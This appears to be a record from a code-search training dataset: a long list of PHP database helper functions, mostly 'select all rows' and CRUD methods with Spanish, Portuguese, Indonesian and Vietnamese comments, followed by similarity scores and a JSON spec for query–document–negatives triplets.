num_compte\";\n \n $stmt = $this->conn->prepare( $query );\n $stmt->execute();\n \n return $stmt;\n }", "function tampil_data($tabel)\n {\n $row = $this->db->prepare(\"SELECT * FROM sms\");\n $row->execute();\n return $hasil = $row->fetchAll();\n }", "function ReadAll(){\n\n\t\t//Instanciamos y nos conectamos a la bd\n\t\t$Conexion = floopets_BD::Connect();\n\t\t$Conexion->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\t\t//Crear el query que vamos a realizar\n\t\t$consulta = \"SELECT tipo_denuncia.*,denuncia.* FROM denuncia INNER JOIN tipo_denuncia ON denuncia.td_cod_tipo_denuncia=tipo_denuncia.td_cod_tipo_denuncia WHERE denuncia.de_estado='Pendiente'\";\n\t\t$query = $Conexion->prepare($consulta);\n\t\t$query->execute();\n\t\t//Devolvemos el resultado en un arreglo\n\t\t//Fetch: es el resultado que arroja la consulta en forma de un vector o matriz segun sea el caso\n\t\t//Para consultar donde arroja mas de un dato el fatch debe ir acompañado con la palabra ALL\n\t\t$resultado = $query->fetchALL(PDO::FETCH_BOTH);\n\t\treturn $resultado;\n\t\tfloopets_BD::Disconnect();\n\t}", "public function consultarTodos()\n\t{\n\t\t$sql = \t' SELECT colores.* '.\n\t\t\t\t' FROM colores '.\n\t\t\t\t' ORDER BY nombre ';\n\t\n\t\t$stmt = $this->getEntityManager()->getConnection()->prepare($sql);\n\t\t$stmt->execute();\n\t\t$result = $stmt->fetchAll(); //Se utiliza el fecth por que es un registro\n\t\t\n\t\t//Elimina los espacios\n\t\tforeach($result as &$reg)\n\t\t{\n\t\t\t$reg['nombre'] = trim($reg['nombre']);\n\t\t}//end foreach\n\t\n\t\treturn $result;\n\t}", "public function readTable()\n {\n $sql = \"SELECT Cubans.Id, FirstName, LastName, Gender, YearOfBirth, \n `Name`, IsInGroup FROM Cubans\n JOIN Genre ON Cubans.IdGenre=Genre.id\";\n $statement = $this->connect->prepare($sql);\n $statement->execute();\n return $statement->fetchAll();\n }", "public function listar(){\n\n\t\t$data = $this->db->from($this->table)\n\t\t\t\t\t\t ->orderBy('id DESC')\n\t\t\t\t\t\t ->fetchAll();\n\t\tif(empty($data)){\n\t\t $respuesta = array('respuesta' => 0 );\n\t\t return $respuesta;\n\t\t}else{\n\t\t return $data;\n\t\t}\t\t\t\t \n\t// return $data = $this->db_pdo->query('select * from '.$this->table)\n\t//\t\t\t\t\t \t\t\t->fetchAll();\t\t\t\t \t\t\t\t\t\t \n\t}", "public function getTableData()\n\t{\n\t}", "public function queryAll(){\r\n\t\t$sql = 'SELECT * FROM tbl_empleado';\r\n\t\t$sqlQuery = new SqlQuery($sql);\r\n\t\treturn $this->getList($sqlQuery);\r\n\t}", "public function readTabla() {\r\n $query = 'SELECT * FROM ' . $this->tabla;\r\n\r\n\r\n \r\n\r\n $sentencia = $this->con->prepare($query);\r\n\r\n $sentencia->execute();\r\n\r\n return $sentencia;\r\n }", "public function table_get_all($table);", "public function dataTable();", "public function getAll()\n {\n $sql = \"SELECT * FROM \".$this->table;\n $req = Database::getBdd()->prepare($sql);\n $req->execute();\n return $req->fetchAll(PDO::FETCH_OBJ);\n \n }", "public function fetchAll(){\n $adapter = $this->adapter;\n $sql = new Sql($this->adapter);\n $select = $sql->select();\n $select->from('flota');\n $selectString = $sql->getSqlStringForSqlObject($select);\n $data = $adapter->query($selectString, $adapter::QUERY_MODE_EXECUTE);\n \n return $data;\n }", "public function queryAll() {\r\n $sql = \"SELECT * FROM $this->table\";\r\n $stmt = ConnectionFactory::prepare($sql);\r\n $stmt->execute();\r\n return $stmt->fetchAll();\r\n }", "public function all() {return $this->requete(\"SELECT * FROM \" . $this->table . \" ORDER BY marque\");}", "public function leerDatos($tabla){\r\n\t\t\t$sql = '';\r\n\t\t\tswitch($tabla){\r\n\t\t\t\tcase \"Usuario\":\r\n\t\t\t\t\t$sql = \"\r\n\t\t\t\t\t\tSELECT id, nombre, nacido, sexo, foto from usuario;\r\n\t\t\t\t\t\";\r\n\t\t\t\tbreak;\r\n\t\t\t\tcase \"UsuarioDeporte\":\r\n\t\t\t\t\t$sql = \"\r\n\t\t\t\t\t\tSELECT id_usuario, id_deporte from usuario_deporte;\r\n\t\t\t\t\t\";\r\n\t\t\t\tbreak;\r\n\t\t\t\tcase \"Deporte\":\r\n\t\t\t\t\t$sql = \"\r\n\t\t\t\t\t\tSELECT id, nombre from deporte;\r\n\t\t\t\t\t\";\r\n\t\t\t\tbreak;\r\n\t\t\t\tcase \"Passwd\":\r\n\t\t\t\t\t$sql = \"\r\n\t\t\t\t\t\tSELECT usuario, clave from passwd; \r\n\t\t\t\t\t\";\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\t$arrayFilas=$this->conn->query($sql);\r\n\t\t\treturn $arrayFilas;\r\n\t\t}", "public function readAll(){\n $rq = \"SELECT * FROM Objets\";\n $stmt = $this->pdo->prepare($rq);\n $data = array();\n if(!$stmt->execute($data)){\n throw new Exception($pdo->errorInfo());\n }\n return $result = $stmt->fetchAll();\n }", "public function ReadAll() {\n\t\t\t$sql = \"\n\t\t\t\tSELECT\n\t\t\t\t\t t1.id,\n\t\t\t\t\t t1.tipo_funcionario,\n\t\t\t\t\t t1.nome,\n\t\t\t\t\t t1.idade,\n\t\t\t\t\t t1.genero,\n\t\t\t\t\t t1.email,\n\t\t\t\t\t t1.cpf,\n\t\t\t\t\t t1.celular,\n\t\t\t\t\t t1.senha\n\t\t\t\tFROM\n\t\t\t\t\tfuncionarios AS t1\n\n\n\t\t\t\";\n\n\n\t\t\t$DB = new DB();\n\t\t\t$DB->open();\n\t\t\t$Data = $DB->fetchData($sql);\n\t\t\t$realData;\n\t\t\tif($Data ==NULL){\n\t\t\t\t$realData = $Data;\n\t\t\t}\n\t\t\telse{\n\n\t\t\t\tforeach($Data as $itemData){\n\t\t\t\t\tif(is_bool($itemData)) continue;\n\t\t\t\t\telse{\n\t\t\t\t\t\t$realData[] = $itemData;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t$DB->close();\n\t\t\treturn $realData;\n\t\t}", "public function getAllDataByNameTable($nameTable = 'admin')\n\t{\n\t\t// viet theo cach truy van csdl theo thu vien pdo\n\t\t$data = []; // mot mang du lieu rong doi cho de lay du lieu tu db ve\n\t\t// 1 : khai bao cau lenh sql\n\t\t$sql = \"SELECT * FROM {$nameTable}\";\n\t\t// 2: su dung ham prepare de thuc thi - kiem tra cau lenh sql\n\t\t$stmt = $this->db->prepare($sql);\n\t\tif($stmt){\n\t\t\t// cau lenh sql ko co loi\n\t\t\t// thuc thi cau lenh\n\t\t\tif($stmt->execute()){\n\t\t\t\t// thuc thi thanh cong\n\t\t\t\t// kiem tra xem bang du lieu co dong du lieu nao ko? neu co thi moi lay ve\n\t\t\t\tif($stmt->rowCount() > 0){\n\t\t\t\t\t// lay du lieu ra\n\t\t\t\t\t$data = $stmt->fetchAll(PDO::FETCH_ASSOC);\n\t\t\t\t\t// PDO::FETCH_ASSOC: tra ve mot mang khong tuan tu voi key cua mang la cac truong nam trong bang du lieu\n\t\t\t\t}\n\t\t\t}\n\t\t\t// ngat ket noi execute $stmt de co the execute cac stmt moi\n\t\t\t$stmt->closeCursor();\n\t\t\t// vi khong con thuc thi cau lenh nao nua nen thoi\n\t\t}\n\t\treturn $data;\n\t}", "private function getData(){\n\t\tdb::getAdapter();\n\t\t\n\t\t$counter=0;\n\t\t$arrayFieldQuery=array();\n\t\tforeach($this->fields as $field){\n\t\t\t$arrayFieldQuery[$field]=$this->types[$counter];\n\t\t\t$counter++;\n\t\t}\n\t\t\n\t\t$counter=0;\n\t\t$arrayFilters=array();\n\t\tforeach($this->filters as $filter){\n\t\t\t$arrayFilters[$this->fields[$filter[0]]]=array(\"type\"=>$this->types[$filter[0]],\"value\"=>$filter[1]);\n\t\t}\n\t\t\n\t\tif(db::getFields($this->table,$arrayFieldQuery,$arrayFilters,$this->orderQuery,$this->limit,true)){\n\t\t\t$this->pages=ceil(((int)db::getCalculatedRows())/((int)$this->maxRowsPerPage));\n\t\t\t$this->maxRows=(int)db::getCalculatedRows();\n\t\t\twhile($row=db::fetch(db::$FETCH_TYPE_ASSOC)){\n\t\t\t\t$this->addRow($row);\n\t\t\t}\n\t\t}\n\t}", "public function getAll()\n {\n $sql = \"SELECT * FROM $this->table\";\n $req = Database::getBdd()->prepare($sql);\n $req->execute();\n return $req->fetchAll();\n }", "public function mostrarTodosTrabajos(){\n return Trabajo::all();\n }", "public function queryAll(){\r\n\t\t$sql = 'SELECT * FROM alojamientos';\r\n\t\t$sqlQuery = new SqlQuery($sql);\r\n\t\treturn $this->getList($sqlQuery);\r\n\t}", "public function getAll(){\n \n // 1. Establece la conexion con la base de datos y trae todos los generos\n $query = $this->getDb()->prepare(\" SELECT * FROM genero\");\n $query-> execute(); \n return $query->fetchAll(PDO::FETCH_OBJ);\n }", "function getDatatables()\r\n {\r\n $this->db->from(\"v_registro\");\r\n $query = $this->db->get();\r\n return $query->result();\r\n }", "function readAll(){\n \n $query = \"SELECT * FROM \".$this->table_name.\" ORDER BY id_alternatif ASC\";\n $stmt = $this->conn->prepare($query);\n $stmt->execute();\n\n return $stmt;\n }", "public function getAll()\r\n {\r\n $stmt = $this->conn->prepare(\"SELECT * FROM $this->table ORDER BY id DESC\");\r\n $stmt->execute();\r\n return $stmt->fetchAll(PDO::FETCH_ASSOC);\r\n }", "public function listForTable (){\r\n //generamo la query final que precisamos\r\n $queryResult= \"SELECT id,dni,nombre,apellido,mail FROM usuario.usuario ORDER BY id;\";\r\n\r\n //Ejecutamos la query\r\n $this->stmt=pg_query($this->link,$queryResult) or die(\"Error en la consulta,function listForTable :\".preg_last_error());\r\n\r\n return $this->stmt;\r\n }", "public function findAll(){\n //recupere le nom de la classe et le formate\n $table = strtolower(get_class($this));\n\n //Prepare la requete\n $query = \"SELECT * FROM $table\";\n $results = $this->conn->prepare($query);\n\n //Execution requete et stockage resultats dans une variable\n $results->execute();\n $resultats = $results->fetchAll(PDO::FETCH_ASSOC);\n return $resultats;\n }", "public function tratarDados(){\r\n\t\r\n\t\r\n }", "public static function findAll()\n\t\t{\n\t\t\t$tb = self::get('tabla') ;\n\t\t\t\n\t\t\treturn Database::getInstance()\n\t\t\t\t\t->query(\"SELECT * FROM $tb ;\")\n\t\t\t\t\t->getObjects(get_called_class()) ;\n\t\t}", "function readAll(){\n\n\t\t$query = \"SELECT * FROM \" . $this->table_name .\"\";\n\t\t$stmt = $this->conn->prepare($query);\n\t\t$stmt->execute();\n\t\treturn $stmt;\n\t}", "public function selectAllContracteData(){\n $sql = \"SELECT * FROM contract ORDER BY id DESC\";\n $stmt = $this->db->pdo->prepare($sql);\n $stmt->execute();\n return $stmt->fetchAll(PDO::FETCH_OBJ);\n }", "public function readAll()\n {\n $sql = 'SELECT id_producto, nombre_producto, descripcion_producto, precio_producto, imagen_producto, stock, nombre_marca, estado_producto \n FROM productos INNER JOIN marca USING(id_marca) \n ORDER BY nombre_producto';\n $params = null;\n return Database::getRows($sql, $params);\n }", "public function tabla()\n {\n\n \treturn Datatables::eloquent(Encargos::query())->make(true);\n }", "public function lista() {\n $sql = \"SELECT * FROM cliente\";\n $qry = $this->db->query($sql); // query do pdo com acesso ao bd\n\n //return $qry->fetchAll(); // retorna todos os registros\n return $qry->fetchAll(\\PDO::FETCH_OBJ); // retorna todos os registros a nível de objeto\n }", "public function fetchAll()\n {\n return $this->getDb()->fetchAll('SELECT * FROM funcionalidade');\n }", "function getAllData() {\n \n $sql = \"call spGetAllpedTipoLineas(@out_status);\";\n $rs = $this->db->Execute($sql);\n \t$data = $rs->getArray();\n\t\t$rs->Close();\n \treturn $data; \n \n }", "public function getAllData($table_name){\n return $this->getStatement(\"select * from \".$table_name);\n }", "public function limparTabela(){\r\n\t\t$sql = 'DELETE FROM oficina';\r\n\t\t$consulta = $conexao->prepare($sql);\r\n\t\t$consulta->execute();\r\n\t}", "public function getAll(){\n $sqlQuery = \"SELECT * FROM \".$this->t_name.\"\";\n //prepate stamt;\n $stmt = $this->conn->prepare($sqlQuery);\n $stmt->execute();\n //kembalikan nilai stmt\n return $stmt;\n }", "public function queryAll(){\n\t\t$sql = 'SELECT * FROM cbt_nomor_peserta';\n\t\t$sqlQuery = new SqlQuery($sql);\n\t\treturn $this->getList($sqlQuery);\n\t}", "public function queryAll(){\r\n\t\t$sql = 'SELECT * FROM contenidos';\r\n\t\t$sqlQuery = new SqlQuery($sql);\r\n\t\treturn $this->getList($sqlQuery);\r\n\t}", "public function getAll()\n {\n $sql = \"SELECT * FROM Oto LIMIT15\";\n\n $stmt = $this->database->query($sql);\n return $stmt->fetchAll();\n\n }", "function getAll() {\n global $dbh, $schema;\n try {\n // using prepared statements will help protect you from SQL injection\n $stmt = $dbh->prepare(\"SELECT * FROM $schema.ingrediente\");\n $stmt->execute();\n // get array containing all of the result set rows \n $result = $stmt->fetchall(PDO::FETCH_ASSOC);\n return $result;\n }\n catch(PDOException $e) {\n $_SESSION[\"s_errors\"][\"generic\"][] = \"ERRO[16]: \".$e->getMessage();\n header(\"Location: ../../index.php\");\n die;\n }\n }", "function listarTabla(){\n\t\t$this->procedimiento='wf.ft_tabla_sel';\n\t\t$this->transaccion='WF_tabla_SEL';\n\t\t$this->tipo_procedimiento='SEL';//tipo de transaccion\n\t\t\t\t\n\t\t//Definicion de la lista del resultado del query\n\t\t$this->captura('id_tabla','int4');\n\t\t$this->captura('id_tipo_proceso','int4');\n\t\t$this->captura('vista_id_tabla_maestro','int4');\n\t\t$this->captura('bd_scripts_extras','text');\n\t\t$this->captura('vista_campo_maestro','varchar');\n\t\t$this->captura('vista_scripts_extras','text');\n\t\t$this->captura('bd_descripcion','text');\n\t\t$this->captura('vista_tipo','varchar');\n\t\t$this->captura('menu_icono','varchar');\n\t\t$this->captura('menu_nombre','varchar');\n\t\t$this->captura('vista_campo_ordenacion','varchar');\n\t\t$this->captura('vista_posicion','varchar');\n\t\t$this->captura('estado_reg','varchar');\n\t\t$this->captura('menu_codigo','varchar');\n\t\t$this->captura('bd_nombre_tabla','varchar');\n\t\t$this->captura('bd_codigo_tabla','varchar');\n\t\t$this->captura('vista_dir_ordenacion','varchar');\n\t\t$this->captura('fecha_reg','timestamp');\n\t\t$this->captura('id_usuario_reg','int4');\n\t\t$this->captura('id_usuario_mod','int4');\n\t\t$this->captura('fecha_mod','timestamp');\n\t\t$this->captura('usr_reg','varchar');\n\t\t$this->captura('usr_mod','varchar');\n\t\t$this->captura('nombre_tabla_maestro','varchar');\n\t\t$this->captura('vista_estados_new','text');\n\t\t$this->captura('vista_estados_delete','text');\n\t\t\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\t\t\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function queryAll(){\n\t\t$sql = 'SELECT * FROM cbt_jadwal_ujian';\n\t\t$sqlQuery = new SqlQuery($sql);\n\t\treturn $this->getList($sqlQuery);\n\t}", "public function modelFetchAll(){\n\t\t\t//lay bien ket noi de thao tac csdl\n\t\t\t$conn = Connection::getInstance();\n\t\t\t//thuc hien truy van, tra ket qua ve mot object\n\t\t\t$query = $conn->query(\"select * from phongban\");\n\t\t\t//tra ve tat ca cac ban ghi\n\t\t\treturn $query->fetchAll();\n\t\t}", "protected function getAll(){\n\t\t\n\t\t$connection = DB::connect();\n\t\t\n\t\t$sql = \"SELECT * FROM $this->_tableName\";\n\t\t$result = '';\n\t\t\n\t\ttry {\n\t\t\t$stmt = $connection->query($sql);\n\t\t\t$result = $stmt->fetchAll();\n\t\t\n\t\t\treturn $result;\n\t\t\n\t\t} catch (PDOException $e){\n\t\t\tdie('Error: '.$e->getMessage().'<br/>');\n\t\t}\n\t}", "function getallrecord()\n\t{\n\t\treturn $this->db->get(\"tblteman\");\n\t\t// fungsi get(\"namatable\") adalah active record ci\n\t}", "public function getAll(){\n\t\treturn $this->db->get($this->table);\n\t}", "public function getalldata()\r {\r $query=\"select * from `\".$this->tablename.\"` order by `position`\";\r\t\t\t$result=mysqli_query($this->conn,$query);\r return $result;\r }", "function listaRuta()\r\n\t{\t\r\n\t\t$query = \"SELECT * FROM \" . self::TABLA . \";\";\r\n\t\treturn parent::listaRegistros( $query );\r\n\t}", "private function table_data(){\n $data = array();\n\n global $wpdb;\n\n $data = $wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}lic_activations ORDER BY ID ASC\", ARRAY_A);\n \n return $data;\n }", "public function getTodos(){\n\t\t\t$this->db->query(\"SELECT * FROM generos\");\n\t\t\treturn $this->db->fetchAll();\n\t\t}", "function newskomentar_listdata($tbl_newskomentar){\n\t\t$sql = mysql_query(\"SELECT * FROM $tbl_newskomentar\");\n\t\treturn $sql;\n}", "public function allData()\n {\n return DB::table('tbl_laporankeluar')\n ->leftJoin('tbl_sales', 'tbl_sales.id_sales', '=', 'tbl_laporankeluar.id_sales')\n ->leftJoin('tbl_produk', 'tbl_produk.id_produk', '=', 'tbl_laporankeluar.id_produk')\n ->orderBy('id_laporan', 'desc')\n ->get();\n }", "public function queryAll(){\n\t\t$sql = 'SELECT * FROM cbt_soal_siswa';\n\t\t$sqlQuery = new SqlQuery($sql);\n\t\treturn $this->getList($sqlQuery);\n\t}", "function getCampos($tabla){\r\n\t\t//DB_DataObject::debugLevel(5);\r\n\t\t//Crea una nueva instancia de $tabla a partir de DataObject\r\n\t\t$objDBO = DB_DataObject::Factory($tabla);\r\n\t\t\r\n\t\t$campos = $objDBO->table();\r\n\t\t\r\n\t\tunset($campos[\"id\"]);\r\n\t\tunset($campos[\"fecha\"]);\r\n\t\t\r\n\t\t//Libera el objeto DBO\r\n\t\t$objDBO->free();\r\n\t\t\r\n\t\treturn ($campos);\r\n\t}", "public function readAll($tabel){\n\ttry {\n\t\t$query = $this->db->prepare(\"SELECT * FROM $tabel\");\n\t\t$query->execute();//echo\"SELECT * FROM $tabel\";\n\t\treturn $query;\n\t}\n\tcatch (PDOException $e) {\n\t\t$error = $e->getMessage();\n\t\techo \"<script>alert('$error')</script>\";\n\t\treturn false;\n\t}\n}", "function get_all_kelas(){\n $this->datatables->select('kelas_id,kelas_nama')\n ->from('v_kelas');\n return $this->datatables->generate();\n }", "public function getDepartamentosTodos(){\n\n\t\t\ttry {\n\t\t\t\t\n\t\t\t\t$consulta=\"SELECT * FROM departamentos\";\n\t\t\t\t\n\n\t\t\t\t$query=$this->db->preparar($consulta);\n\t\t\t\t$query->execute();\n\t\t\t\t\n\t\t\t\t$tClientes = $query->fetchAll();\n\t\t\t\t\n\t\t\t\t//obtiene todas las tuplas de la tabla clientes\n\t\t\t\t//y devuelve el array $tClientes\n\n\t\t\t} catch (Exception $e) {\n\t\t\t\techo \"Se ha producido un errro\";\n\t\t\t\t\n\t\t\t}\n\n\t\t\t$tablaClientes=array(); //inicializamos la tabla de salida\n\t\t\tforeach ($tClientes as $fila) {\n\t\t\t\t$c=new Departamento($fila[0], $fila[1], \n\t\t\t\t\t$fila[2], $fila[3]);\n\t\t\t\tarray_push($tablaClientes, $c);\n\t\t\t}\n\t\t\treturn $tablaClientes;\n\t\t}", "public function getAllData()\n\t{\n\t\treturn $this->db\n\t\t\t->where('row_status', 'A')\n\t\t\t->where('jabatan_karyawan', 'Admin')\n\t\t\t->get($this->_karyawan)\n\t\t\t->result();\n\t}", "public function getAllDataTable($config){\n\t\t\t\t$this->dataTable->set_config($config);\n\t\t\t\t$statement = $this->koneksi->prepare($this->dataTable->getDataTable());\n\t\t\t\t$statement->execute();\n\t\t\t\t$result = $statement->fetchAll();\n\n\t\t\t\treturn $result;\n\t\t\t}", "public static function getAll2(){\n\t\t$sql = \"select * from prueba\";\n\t\t$query = Executor::doit($sql);\n\t\treturn Model::many($query[0],new TemparioData());\n\t}", "public function ReadAll() {\r\n\t\t$sql = \"\r\n\t\tSELECT\r\n\t\tt1.id,\r\n\t\tt1.,\r\n\t\tt1.cpf,\r\n\t\tt1.email,\r\n\t\tt1.status\r\n\t\tFROM\r\n\t\tredefinicao_senha AS t1\r\n\t\t\r\n\r\n\t\t\";\r\n\t\t\r\n\t\t\r\n\t\t$DB = new DB();\r\n\t\t$DB->open();\r\n\t\t$Data = $DB->fetchData($sql);\r\n\t\t$realData;\r\n\t\tif($Data ==NULL){\r\n\t\t\t$realData = $Data;\r\n\t\t}\r\n\t\telse{\r\n\t\t\t\r\n\t\t\tforeach($Data as $itemData){\r\n\t\t\t\tif(is_bool($itemData)) continue;\r\n\t\t\t\telse{\r\n\t\t\t\t\t$realData[] = $itemData;\t\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t$DB->close();\r\n\t\treturn $realData; \r\n\t}", "public function readall(){ //read\r\n\r\n $sql=\"select * from proveedor\";\r\n $resul=mysqli_query($this->con(),$sql);\r\n while($row=mysqli_fetch_assoc($resul)){\r\n $this->proveedores[]=$row;\r\n }\r\n return $this->proveedores;\r\n }", "function listarTablaInstancia(){\n\t\t$this->procedimiento='wf.ft_tabla_instancia_sel';\n\t\t$this->transaccion='WF_TABLAINS_SEL';\n\t\t$this->tipo_procedimiento='SEL';//tipo de transaccion\n\t\t\n\t\t$this->setParametro('id_tabla','id_tabla','integer');\n\t\t$this->setParametro('historico','historico','varchar');\n\t\t$this->setParametro('tipo_estado','tipo_estado','varchar');\n\t\t\n\t\t//Definicion de la lista del resultado del query\n\t\t$this->captura('id_' . $_SESSION['_wf_ins_'.$this->objParam->getParametro('tipo_proceso').'_'.$this->objParam->getParametro('tipo_estado')]['atributos']['bd_nombre_tabla'],'int4');\n\t\t\n\t\tif ($_SESSION['_wf_ins_'.$this->objParam->getParametro('tipo_proceso').'_'.$this->objParam->getParametro('tipo_estado')]['atributos']['vista_tipo'] == 'maestro') {\n\t\t\t\t\n\t\t\t$this->captura('estado','varchar');\n\t\t\t$this->captura('id_estado_wf','int4');\n\t\t\t$this->captura('id_proceso_wf','int4');\n\t\t\t$this->captura('obs','text');\n\t\t\t$this->captura('nro_tramite','varchar');\n\t\t}\n\t\t\n\t\tforeach ($_SESSION['_wf_ins_'.$this->objParam->getParametro('tipo_proceso').'_'.$this->objParam->getParametro('tipo_estado')]['columnas'] as $value) {\n\t\t\t\n\t\t\t$this->captura($value['bd_nombre_columna'],$value['bd_tipo_columna']);\t\t\n\t\t\t//campos adicionales\n\t\t\tif ($value['bd_campos_adicionales'] != '' && $value['bd_campos_adicionales'] != null) {\n\t\t\t\t$campos_adicionales = explode(',', $value['bd_campos_adicionales']);\n\t\t\t\t\n\t\t\t\tforeach ($campos_adicionales as $campo_adicional) {\n\t\t\t\t\t\n\t\t\t\t\t$valores = explode(' ', $campo_adicional);\n\t\t\t\t\t$this->captura($valores[1],$valores[2]);\n\t\t\t\t}\n\t\t\t}\t\t\t\n\t\t}\n\t\t\n\t\t\n\t\t$this->captura('estado_reg','varchar');\t\t\n\t\t$this->captura('fecha_reg','timestamp');\n\t\t$this->captura('id_usuario_reg','int4');\n\t\t$this->captura('id_usuario_mod','int4');\n\t\t$this->captura('fecha_mod','timestamp');\n\t\t$this->captura('usr_reg','varchar');\n\t\t$this->captura('usr_mod','varchar');\n\t\t\n\t\t\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\t\t\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function getAllRows() {\n \n $stmt = $this->conexao->prepare(\"SELECT * FROM categoria\");\n $stmt->execute();\n\n return $stmt->fetchAll(\\PDO::FETCH_CLASS);\n }", "public static function getAll()\r\n {\r\n $consulta = \"SELECT * FROM \" . self::TABLE_NAME;\r\n try {\r\n // Preparar sentencia\r\n $comando = DatabaseConnection::getInstance()->getDb()->prepare($consulta);\r\n // Ejecutar sentencia preparada\r\n $comando->execute();\r\n\r\n return $comando->fetchAll(PDO::FETCH_ASSOC);\r\n\r\n } catch (PDOException $e) {\r\n return false;\r\n }\r\n }", "public function getAll() {\n return $this->db->getAllFromTable($this->table);\n }", "public function listarTodos(){\r\n\t\t$sql = 'SELECT * FROM oficina';\r\n\t\t$consulta = $conexao->prepare($sql);\r\n\t\t$resultado = $consulta->execute();\r\n\t\treturn ($resultado->fetchAll(PDO::FETCH_ASSOC));\r\n\t}", "public function listAll()\n\t{\n\t\t$sql = new Conexao;\n\n\t\treturn $sql->select(\"SELECT * FROM tb_criarapuracao\");\n\t}", "public function queryAll(){\n\t\t$sql = 'SELECT * FROM telefonos';\n\t\t$sqlQuery = new SqlQuery($sql);\n\t\treturn $this->getList($sqlQuery);\n\t}", "public function getFabricanteDatatablesData () \n {\n return Laratables::recordsOf(Fabricante::class);\n }", "function get_all(){\r\n\t\t$rows = array();\r\n\t\twhile($row = $this->get_row()){\r\n\t\t\t$rows[] = $row;\r\n\t\t}\r\n\t\treturn $rows;\r\n\t}", "public function selectAllServiceData(){\n $sql = \"SELECT * FROM servicii_prestate ORDER BY id DESC\";\n $stmt = $this->db->pdo->prepare($sql);\n $stmt->execute();\n return $stmt->fetchAll(PDO::FETCH_OBJ);\n }", "public function getAllData()\n {\n $sql = \"SELECT * FROM testdata ORDER BY id desc\";\n $query = $this->db->prepare($sql);\n $query->execute();\n if($query->execute())\n {\n return $query->fetchAll();\n }\n else\n {\n return false;\n }\n }" ]
[ "0.7498263", "0.736229", "0.72121096", "0.72063595", "0.7203771", "0.7174556", "0.71523345", "0.71467435", "0.71160847", "0.710955", "0.70507437", "0.7039127", "0.70376515", "0.7030211", "0.7030211", "0.7030211", "0.7024119", "0.69789684", "0.69789684", "0.697543", "0.6960562", "0.69517803", "0.694406", "0.6926765", "0.6915569", "0.68970394", "0.68925923", "0.6888172", "0.6883371", "0.6872864", "0.686394", "0.6861984", "0.68616045", "0.68494767", "0.6844333", "0.6838706", "0.6828085", "0.6824277", "0.68150836", "0.6808656", "0.68030757", "0.6799682", "0.678273", "0.67805606", "0.6768395", "0.6767046", "0.6762804", "0.67477584", "0.674707", "0.674494", "0.6743381", "0.6742517", "0.67160434", "0.6715429", "0.670212", "0.6701538", "0.6697173", "0.66967386", "0.66866446", "0.6676683", "0.66749656", "0.66677946", "0.6664852", "0.6659645", "0.66544443", "0.665252", "0.6645871", "0.6643165", "0.66417736", "0.6635226", "0.663363", "0.6631114", "0.66225237", "0.66117257", "0.6607001", "0.6598957", "0.6596423", "0.6594983", "0.65946347", "0.6587317", "0.65788984", "0.6573269", "0.657129", "0.6565331", "0.6557356", "0.6557307", "0.65564275", "0.6555404", "0.65552115", "0.65542847", "0.65444595", "0.6541813", "0.65340006", "0.6525397", "0.65251404", "0.6522975", "0.65221965", "0.6509008", "0.6505794", "0.65044546", "0.65042114" ]
0.0
-1
metodo que sirve para hacer obtener datos en el editar
public function getTable($id) { if(! intval( $id )){ return false; } $id=$this->db->real_escape_string($id); $sql= "SELECT * FROM servicio_paquete WHERE id=$id;"; $res=$this->db->query($sql); if(!$res) {die("Error getting result servicio paquete");} $row = $res->fetch_assoc(); $res->close(); return $row; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function editar ()\n {\n try {\n // Define a ação de editar\n $acao = Orcamento_Business_Dados::ACTION_EDITAR;\n \n if ( $this->_requisicao->isGet () ) {\n // Retorna parâmetros informados via get, após validações\n $parametros = $this->trataParametroGet ( 'cod' );\n \n // Busca os dados a exibir, após validações\n $registro = $this->trataRegistro ( $acao, $parametros );\n \n // Cria o formulário populado com os dados\n $formulario = $this->popularFormulario ( $acao, $registro );\n \n // Faz transformações no formulário, se necessário\n $formulario = $this->transformaFormulario ( $formulario, $acao );\n \n // Bloqueia a edição de campos de chave primária (ou composta)\n $this->bloqueiaCamposChave ( $formulario );\n \n // Bloqueia todos os campos\n $this->bloqueiaCamposTodos ( $acao, $formulario, $registro );\n \n // Exibe o formulário\n $this->view->formulario = $formulario;\n } else {\n // Cria o formulário vazio\n $formulario = $this->retornaFormulario ( $acao );\n \n // Grava o novo registro\n $this->gravaDados ( $acao, $formulario );\n }\n } catch ( Exception $e ) {\n // Gera o erro\n throw new Zend_Exception ( $e->getMessage () );\n }\n }", "public function edit() {\n\t\t\t\n\t\t}", "protected function editar()\n {\n }", "public function edit(){\n $carros = array();\n\n $nomes[] = 'Astra';\n $nomes[] = 'Caravan';\n $nomes[] = 'Ipanema';\n $nomes[] = 'Kadett';\n $nomes[] = 'Monza';\n $nomes[] = 'Opala';\n $nomes[] = 'Veraneio';\n\n $this->set('carros',$nomes);\n }", "public function edit(){\r\n\t\t//$this->auth->set_access('edit');\r\n\t\t//$this->auth->validate();\r\n\r\n\t\t//call save method\r\n\t\t$this->save();\r\n\t}", "public function editar(){\n $cedula = $_GET['cedula'];\n //2. usar el modelo para traer de la BD el estudiante\n $estudiante = $this->model->buscarEstudiante($cedula);\n //3. llamar a la vista de editar\n require_once 'view/include/header.php';\n require_once 'view/estudiante/editar.php';\n require_once 'view/include/footer.php';\n }", "public function edita()\n\t 